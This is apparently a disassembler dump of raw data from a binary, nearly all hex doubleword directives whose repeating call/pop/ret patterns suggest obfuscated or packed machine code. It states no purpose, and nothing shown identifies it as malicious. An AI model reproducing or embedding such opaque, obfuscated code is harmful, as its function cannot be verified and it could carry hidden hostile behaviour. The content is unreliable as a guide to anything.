		dd 0FE07D32Ah, 1D599D8Bh, 958907D3h, 7D317BDh, 0E1F5BB66h
		dd 0E9h, 0B2B58D00h, 8B07DC6Eh,	0D301799Dh, 52006A07h
		dd 18D59D8Bh, 0FF5B07D3h, 0D3301995h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0E9C87411h, 10h, 546E8CF6h, 1CEEC6F8h, 92DA1C8Dh, 8435BEACh
		dd 0E48B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 8B471274h, 1A759509h, 0BDBB07D3h
		dd 0B378FE6Fh, 0FCE183DBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 3FC35343h, 89F9EF80h,	0D3198D8Dh, 14E9FC07h
		dd 82000000h, 5C9614E5h, 82A628FDh, 87C1BD66h, 0DDAB43D9h
		dd 0B8E947A0h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4FC35646h
		dd 75BDF2E8h, 0DB81B52Ah, 754341EFh, 321DBD31h,	0D22B07D3h
		dd 0D558509h, 33AD07D3h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 1D1370C3h, 1D61BF66h, 5E9h, 0B3463400h, 880DFC95h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 7C12C355h, 0B589996Ch, 7D32B55h, 169B589h
		dd 958B07D3h, 7D32941h,	1FB19D31h, 8D8B07D3h, 7D32BA1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 98C35141h
		dd 0F99127Eh, 486A092Fh, 0D98D8948h, 5007D307h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 8BCB8158h,	0E8028D5Dh
		dd 13h,	891D649Bh, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h, 5BD02FE0h
		dd 891BD83h, 0F0007D3h,	8284h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 511E22EBh
		dd 0BD333DCFh, 7D32A29h, 0B8h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 94CFB24Ah
		dd 499D8BC2h, 8D07D32Eh, 0D34DB18Dh, 0BDBD0107h, 0FF07D334h
		dd 55006AE1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 62A0122Fh, 831EBBDCh, 0D33311BDh, 840F0007h
		dd 461h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0B9C35545h, 2D838359h, 3311BD83h, 0F0107D3h, 44F84h
		dd 810F6000h, 6, 17C58503h, 8D8B07D3h, 7D30C29h, 11BD8361h
		dd 307D333h, 3F8860Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0AF1744C3h, 5BA2C1DEh
		dd 5DB58973h, 6607D303h, 6A60DA8Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C9C1C352h
		dd 0AA36972Eh, 0EE8h, 2E737800h, 2FCFF399h, 3008C349h
		dd 0E9B654ACh, 0Ch, 7C6BAB21h, 1B886B37h, 0A4FA2A38h, 0D98C665Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 98C35747h
		dd 4E180F8h, 0FABF0F51h, 9DBD8B5Fh, 0A07D32Dh, 840FC9h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 67AC351h, 8BFBB70Fh, 0D314C185h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F54B2A1h, 8533DEB7h, 7D31FF1h, 3339B589h
		dd 80BF07D3h, 507BF6A8h, 489C6B3h, 59B58924h, 6A07D31Ch
		dd 0D8D8900h, 6807D31Fh, 0FFC4D72Bh, 9E9h, 0ADD73C00h
		dd 4F810D02h, 48161BFh,	5A2CD424h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 2E683A6h, 4B13F658h
		dd 95FFD428h, 7D31981h,	0DE8h, 87527C00h, 0EF54F3D0h, 533DE28Ah
		dd 9D8B8111h, 7D319A9h,	0C285895Fh, 5107DC4Eh, 0B1950957h
		dd 5B07D334h, 208E95Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 5EF2DBC3h, 8B11CB80h
		dd 0DC4EBA85h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 3225AA1Ch, 0CA816660h
		dd 0C761A34Ah, 1800h, 8BD88B00h, 0DC4EBEB5h, 10E907h, 68080000h
		dd 0F3379462h, 2BF1542Dh, 0B08BF315h, 858BABFBh, 7D316FDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0DDC35040h
		dd 8B663465h, 0AE9D9h, 99540000h, 572E8969h, 40906F91h
		dd 9E90689h, 17000000h,	0FA616DDFh, 0E44D7C29h,	14C1858Bh
		dd 6EB307D3h, 81044689h, 0AB1EE6CFh, 6050966Bh,	3870Fh
		dd 8B660000h, 0A6B952DFh, 5828BF75h, 81669661h,	0FF0866C7h
		dd 0DC4EBAB5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 5482FC27h, 0F960E73Ch
		dd 14E8h, 70FFB000h, 0D46D3824h, 29224C83h, 0FE20C074h
		dd 89BA69B8h, 11958959h, 5A07D300h, 0BC6EBF61h,	0B32656h
		dd 13D87768h, 5860F0Eh,	0BB000000h, 58B77745h, 88243481h
		dd 600E0CDBh, 10E9h, 0ACEB7D00h, 946DF881h, 2A1229A8h
		dd 71DD428Ch, 58E0F80h,	66000000h, 5ECFF281h, 0C2858D61h
		dd 6A07DC4Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 5720C353h, 1698589h, 0BB5007D3h
		dd 5AE70DC1h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9F4C357h,	10h, 0B79F10DDh
		dd 5F424665h, 50476110h, 929D6CC0h, 198195FFh, 6A07D3h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 658805C3h, 9D8BEAF1h, 7D314D1h, 9E9h, 4E74FF00h, 0DB9A7C20h
		dd 6A6137F8h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0DB2AC357h, 8C781F5h, 0C73D8824h
		dd 0D3331185h, 307h, 0BD83F900h, 7DC4EC2h, 2B840F00h, 0E9000000h
		dd 41h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 4FC35646h, 196F503Ch, 2B81BD8Bh, 305007D3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0A19D8BC0h
		dd 6A07D330h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0D390C352h, 63EB2AEBh,	81E148C9h
		dd 0AF8196EFh, 11BD8341h, 307D333h, 3A0850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 10952FC3h, 83753007h, 0DC4EC2BDh, 840F0007h,	372h, 6860Fh
		dd 8D890000h, 7D31BB9h,	4EC2B5FFh, 95FF07DCh, 7D325F9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 48C35545h
		dd 0E4BCA268h, 0BD8B231Eh, 7D30321h, 4EB6B58Bh,	6A07DCh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0CA5D7CC3h, 0A35720EFh, 106C732h, 66000100h,	0E7BF781h
		dd 0FA8B5096h, 8B66505Fh, 8B6696F9h, 0C2B5FFD8h, 0E907DC4Eh
		dd 0Bh,	0CDC62914h, 0A347BAC7h,	0FF128D62h, 0D3159195h
		dd 66F88A07h, 0B58BDF8Bh, 7DC4EB6h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 6BC35343h, 0F878F846h, 8A0FAAh
		dd 8B000000h, 0D3031185h, 0B3606007h, 0F806BA50h, 29615FB5h
		dd 0D3172185h, 86896107h, 0C4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0FCC35646h,	1EE3BC2Fh, 4C4AA6E0h
		dd 15DD8589h, 958B07D3h, 7D32941h, 2B59BD8Bh, 0C28307D3h
		dd 0BDBD8B04h, 8907D32Ch, 6A2050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 8B36C6C3h, 3021BD89h
		dd 0BD8B07D3h
		dd 7D3212Dh, 6181858Dh,	0BD8B07DCh, 7D30AB9h, 0B88689h
		dd 9D8B0000h, 7D30B91h,	6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0E72521C3h, 66837656h
		dd 8B8147BFh, 0C2B5FFDAh, 0E907DC4Eh, 6, 4982DBF4h, 95FFCC18h
		dd 7D31599h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0C3C35242h, 0FD8E82BEh,	888F8592h, 8A6096EFh, 61DA8BEAh
		dd 0DDBB6650h, 6A9601h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FF9E18C3h, 0DC4EC2B5h, 2595FF07h
		dd 6A07D330h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0F4E2C353h, 46289DD2h,	16E9BD83h
		dd 0F0007D3h, 5F84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 7BE4C757h, 100C8AB9h
		dd 7DBD8B34h, 5007D31Ah, 2870Fh, 0A5B30000h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 1B2BC355h, 7F66A4BDh, 0B5899959h,	7D31925h
		dd 4EC2B5FFh, 6A07DCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 95FF61C3h, 7D31215h, 8E8h, 8C6B9B00h
		dd 0BDDB25CDh, 0B5FF5FE4h, 7DC4EC2h, 2B918D29h,	95FF07D3h
		dd 7D3324Dh, 8CE38166h,	41BD839Ch, 207D313h, 3F840Fh, 880F0000h
		dd 0Ch,	7E9h, 3672A000h, 0B9BB5D9Fh, 347D858Bh,	6A07D3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 902F20C3h, 0C62C4580h, 0B70F0000h, 5185C7FEh, 7D306h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0F3A0C351h, 929A9D24h,	0B54F576Ch
		dd 8B0Fh, 7E90000h, 7F000000h, 9A895DB5h, 86E90566h, 6AFFFFF3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 44DBC352h, 0E838EBC9h, 0Bh, 50F18BF2h, 97184CAh
		dd 8BFBC934h, 0D32E11BDh, 0C18B5F07h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 57C35646h, 0F8A49F87h, 0BD898536h
		dd 7D30D45h, 1C71858Dh,	6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 8D10FBC3h, 0DE89048h
		dd 0B000000h, 7E062E76h, 3135AD70h, 27070D00h, 0CE9h, 7A758D00h
		dd 59C11736h, 8D42DC7Bh, 0E9505F72h, 5,	0C0504761h, 6A906Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 65DB6DC3h, 0C843C822h, 0DD95897Ah, 0B07D325h, 0D31219BDh
		dd 6A006A07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E0DDC355h, 0E4A8A96Fh, 6A9FB7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2CC35242h
		dd 0EC44858Dh, 8A5207DCh, 9D0B5BDEh, 7D326F1h, 6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0C295C351h, 31F98589h, 0FB8B07D3h, 4129BB50h
		dd 48944B8h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 6A6911EBh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 813972F5h
		dd 832408C3h, 66006A25h, 95FFDF8Bh, 7D32F4Dh, 0E850Fh
		dd 9E90000h, 0FB000000h, 72DC8BEFh, 0E82A963Ah,	29B08D8Dh
		dd 958907DCh, 7D31721h,	8A0FD1FFh, 6, 2F899D8Bh, 0BD8307D3h
		dd 7D33255h, 6E850F01h,	66000000h, 870FFA8Bh, 0Ch, 6800Fh
		dd 8D890000h, 7D31A01h,	0BD8B026Ah, 7D32BBDh, 118D8B60h
		dd 8907D300h, 0D307F985h, 89506107h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 81977C3h
		dd 6661A4B6h, 827DD381h, 159995FFh, 0EE907D3h, 75000000h
		dd 8108BAAEh, 4514823Ch, 0D9682588h, 0D52E9BEh,	0E80000h
		dd 5D000000h, 0EC4EED81h, 6AF907DCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0CFD5C356h
		dd 7D52E271h, 0AE8h, 5BEC4C00h,	0F73ADDD5h, 8BF1E07Fh
		dd 0D31D799Dh, 0BD015F07h, 7D32E19h, 195C858Dh,	6A07DCh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9589C7C3h, 7D33391h,	12E950h, 43C00000h, 3496F00h, 79DD7A42h
		dd 3DEBECFCh, 0BE217022h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 4B9AC357h
		dd 0EE1B2671h, 6820F1Fh, 29000000h, 0D315BDBDh,	0EDBD0107h
		dd 6407D31Fh, 35FFh, 0D3810000h, 406E7A2Ah, 258964h, 31000000h
		dd 0D30EF585h, 0CD85FF07h, 6A07D32Ch, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 694FC350h
		dd 4BCC70D7h, 6C376753h, 99B9DF81h, 0FF6A67DAh,	7642F6BBh
		dd 0B5B5FF60h, 6A07D32Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0F74EC353h,	2840Fh
		dd 0B2B70000h, 181995FFh, 9E907D3h, 8A000001h, 0F00B0DDh
		dd 70E6FFBFh, 0BE960h, 67F00000h, 6DB6F34Ah, 12C53CD2h
		dd 1DB589CEh, 6107D306h, 840F71E4h, 6, 6558529h, 958907D3h
		dd 7D33205h, 830F613Ch,	0CCh, 4840Fh, 0BF660000h, 0B60FEEE0h
		dd 0BADA8AC8h, 6, 36C38166h, 89C18BC4h,	0D307A5B5h, 4E8C107h
		dd 0F766D88Ah, 8B6660E2h, 0B58589D8h, 6107D31Fh, 0D18BC82Bh
		dd 2E9FCh, 0B1B70000h, 2EDD858Bh, 0E38107D3h, 28DABAE6h
		dd 0B07C083h, 0D3060DBDh, 0C08307h, 830FD03Bh, 10h, 2BBD9D29h
		dd 61E907D3h, 0BF000000h, 43DBFF7Fh, 15298D8Bh,	515707D3h
		dd 5FDBB70Fh, 0F781665Fh, 0E183CCD8h, 41840F01h, 0E9000000h
		dd 12h,	0A84D1880h, 959CFDA8h, 4F1A31CFh, 0E75B76BEh, 8589C2FCh
		dd 7D31801h, 1529A583h,	81FE07D3h, 0F39ECCF7h, 0DD958924h
		dd 8B07D32Eh, 0D307A59Dh, 0D9D8B07h, 0E907D302h, 0
aNJ		db '~',7,'j',0
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 4286ECC3h, 0A010B81Fh, 759589F0h, 6A07D327h,	1995FF00h
		dd 6A07D330h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 69ABC352h, 77B9E1DBh, 31000008h
		dd 0D301699Dh, 0FCE18307h, 2509BD89h, 6AFC07D3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0F177C357h, 126F0364h, 0CDCE0AE0h, 6E8F88Bh,	5A000000h
		dd 5F61B8C6h, 4CE381F9h, 5B078394h, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 5335B7EFh, 32F05B29h, 0B4FEBF66h, 0BAh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0B05EBB6Fh, 33AD11C8h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 896075C3h, 0D32D119Dh, 7E807h, 62960000h, 0E05ECA82h
		dd 10E9E6h, 0E0370000h,	0AC450039h, 0AB6F729Bh,	51AB9749h
		dd 6158A4B2h, 1F0DB501h, 880D07D3h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0AC79C351h, 1871456Fh, 8BFABF0Fh, 0D3294195h, 820F07h
		dd 0E9000000h, 0Bh, 0B4619F6Ah,	45196AB0h, 8B65787Bh, 0D32BA18Dh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 6E016CA4h, 7225EAB7h, 8B508189h,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 9D8B33B3h, 7D3192Dh
		dd 1A999D8Bh, 0BD8307D3h, 7D30891h, 7D840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 316EC356h, 0D32F61B5h, 0B807h, 0DA8B0000h
		dd 4DB18D8Dh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8F515EC3h, 2B4728A4h, 0D32B959Dh
		dd 6AE1FF07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 3B59C353h, 99D8B51h, 5B07D331h
		dd 3311BD83h, 0F0007D3h, 42684h, 199D8B00h, 8307D32Dh
		dd 0D33311BDh, 840F0107h, 42Eh,	0BD83FB8Bh, 7D33311h, 0E9860F03h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 33EAC352h, 0DE389F2Bh,	0BE5C394h
		dd 7C93BFBFh, 6A6071h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 263B83C3h, 0D98C663Dh, 0E180FA8Bh
		dd 0DA8B6604h, 840FC90Ah, 15Bh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 42C35040h, 778FBABFh, 0D781BAEDh
		dd 7C319E71h, 14C1858Bh, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 313712C3h, 1AC58501h
		dd 853307D3h, 7D31FF1h,	23DD9D2Bh, 509007D3h, 0CE952h
		dd 86650000h, 0F09BAE9h, 96BE6F1Fh, 310FD756h, 5ADF8B66h
		dd 52505058h, 2840Fh, 61600000h, 6052310Fh, 585A5F61h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6A91715Ch, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0FAEA6AE3h
		dd 6E964h, 0C2120000h, 230DE401h, 0A2D9D33h, 0F5007D3h
		dd 685BD8BFh, 0CA0DA5B1h, 8BB5C3BBh, 2404816Bh,	36115E4Eh
		dd 7E8h, 0B5802000h, 0B0140F78h, 1A518D31h, 0FF5B07D3h
		dd 0D3198195h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 958979E4h, 7D30A65h, 4EC28589h
		dd 0E9FC07DCh, 1D2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 69C35747h, 8B5027B5h,	0DC4EBA85h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89DC8896h, 0D317E585h, 1800C707h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0C06AC351h, 181BA806h, 0CBAEF4DEh, 4EBEB58Bh, 6A07DCh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 98F420C3h, 391F49C3h, 800FA535h, 3, 295EC380h, 0D309F19Dh
		dd 0FD858B07h, 8907D316h, 0D315A19Dh, 8B068907h, 0D314C185h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FF99EE1h, 4689DEB7h, 0D25EBB04h, 50967A9Ah
		dd 0E8525060h, 6, 609B8ACEh, 0F58696Ah,	800F31h, 5A000000h
		dd 0E3BE6658h, 6A9661BCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E10AC356h,	561CA90Bh
		dd 0B860D7CDh, 5681E75Ch, 0DBE59FBAh, 0B5FF6168h, 7DC4EBAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 8AC35545h
		dd 2065BD8Bh, 146807D3h, 52F54C74h, 2404815Bh, 0AD28FEBh
		dd 0D719D33h, 858D07D3h, 7DC4EC2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 2CC35242h, 1A19BD8Bh, 8B5007D3h
		dd 240489D8h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	5C35040h, 0C7815727h, 77EAE2ECh, 8195FF5Bh, 8007D319h
		dd 6A61A6F3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0BA4CC353h, 0F952B91Eh, 1185C75Bh
		dd 307D333h, 0E9000000h, 0Ch, 550BAD96h, 4DEEF97Ch, 4EA3132Eh
		dd 4EC2BD83h, 0F0007DCh, 3384h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 6E87Eh, 0CF770000h
		dd 0F7FE9983h, 21E95Bh,	0BD8B0000h, 7D3206Dh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 9D8BFFBFh
		dd 7D319A9h, 0AE9h, 5937CA00h, 8C334521h, 0E98FFF95h, 0Fh
		dd 2E343835h, 0BF8A0AD4h, 2904E432h, 83730916h,	0D33311BDh
		dd 850F0307h, 3C5h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0E1C35747h, 0F89E4D5Eh, 0DBBF0F60h, 0BD83FE8Ah
		dd 7DC4EC2h, 92840F00h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 64D6C350h
		dd 0FFDF8BAEh, 0DC4EC2B5h, 95FFF507h, 7D325F9h,	0D319D8Bh
		dd 0B58B07D3h, 7DC4EB6h, 6C7D88Bh, 10001h, 8D0Fh, 0BB500000h
		dd 797C2C2Ch, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 38B7C355h, 7BB8D006h
		dd 0DDBB662Dh, 0C2B5FF47h, 8907DC4Eh, 0D31A7DBDh, 9195FF07h
		dd 6A07D315h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 81E1C352h, 127FD9DBh, 0B6B58BD0h
		dd 6A07DC4Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h
		dd 2E43C353h, 0CE957E9h, 0F6000000h, 64C426A0h,	459B75B4h
		dd 5F5967D5h, 858BFE8Bh, 7D30311h, 28F0Fh, 0DF8B0000h
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0F9D37EC3h, 75BD898Bh, 8B07D31Ah
		dd 0D30CE99Dh, 41958B07h, 6A07D329h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4D94C352h
		dd 0F2EF86Ch, 0C283DABFh, 0BD896004h, 7D302A9h,	9D853357h
		dd 5E07D320h, 5089F961h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 9FB2FA50h, 60F7B539h
		dd 33D9BD89h, 858D07D3h, 7DC6181h, 3FCB8166h, 0B886891Ch
		dd 66000000h, 6ACAEABBh, 499D8B00h, 8907D32Fh, 0D32BDD9Dh
		dd 0C2B5FF07h, 0BF07DC4Eh, 44849E92h, 159995FFh, 6E807D3h
		dd 1E000000h, 68545ED6h, 6870F0Eh, 23000000h, 0D3019DBDh
		dd 50965F07h, 8E9h, 4C256400h, 0F8A8FDDCh, 816696FAh, 522973F7h
		dd 158D0Fh, 10E90000h, 91000000h, 9E6B7DBBh, 9E302A4Eh
		dd 632BB765h, 5F725089h, 4EC2B5FFh, 6A07DCh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0CE6FEFC3h
		dd 56A81B18h, 562DE421h, 31A5BD33h, 0FF5F07D3h,	0D3302595h
		dd 95B58907h, 8307D315h, 0D316E9BDh, 840F0007h,	38h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 89C35242h, 8A96910Bh
		dd 0AE950FDh, 39000000h, 0DCB42D53h, 0BE208045h, 952996C1h
		dd 7D31FA9h, 4EC2B5FFh,	23B307DCh, 121595FFh, 6A07D3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0BC7C42C3h, 0FFE9F63Eh, 0DC4EC2B5h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 9C3D35C1h, 2B19D89h,	13E907D3h, 0D6000000h, 44E4724Eh
		dd 0D45D0E40h, 1225CA73h, 58C5C26Eh, 95FF5CF3h,	7D3324Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 86C35141h
		dd 2915B93Ch, 0DA2A9865h, 9FF78166h, 41BD8377h,	207D313h
		dd 47840Fh, 7E80000h, 1A000000h, 8E698402h, 800F8D5Ah
		dd 1, 858B5FFCh, 7D3347Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 61C35343h, 0AF052D4Ah, 6FF67C1Ch, 0C66Fh
		dd 8DF38166h, 5185C760h, 7D306h, 2B000000h, 0D3088D9Dh
		dd 0F3E4E907h, 840FFFFFh, 0
		dd offset byte_6AC18B
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0C789C0C3h, 0D9BF0F36h, 1C71858Dh, 6A07D3h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 35FEBC3h, 0C579B4B8h, 15EDBD89h, 0E89007D3h,	0Bh, 3FCF0304h
		dd 70FEA8D3h, 0F8CC32Dh, 688h, 800F00h,	5B000000h, 0BD0B9050h
		dd 7D32681h, 0D7BB006Ah, 6A6FB44Bh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8B605A9Fh
		dd 0D32435B5h, 0AD958B07h, 6107D333h, 61BD8B60h, 3107D30Bh
		dd 0D3028985h, 858D6107h, 7DCFC28h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 85C35242h, 2B4BC2ECh, 0D30EF1BDh
		dd 5C08307h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	7BC35040h, 0EAC245B6h, 8BDC0282h, 0D308799Dh, 6880F07h
		dd 89000000h, 0D302B185h, 0CE99007h, 0D5000000h, 357D3501h
		dd 0F96DA781h, 50344C1Dh, 19830Fh, 830F0000h, 13h, 0EE9h
		dd 0C3148000h, 0BFB25A65h, 0B3B206AAh, 90BD5DC1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 4C35040h, 1C6E242Eh
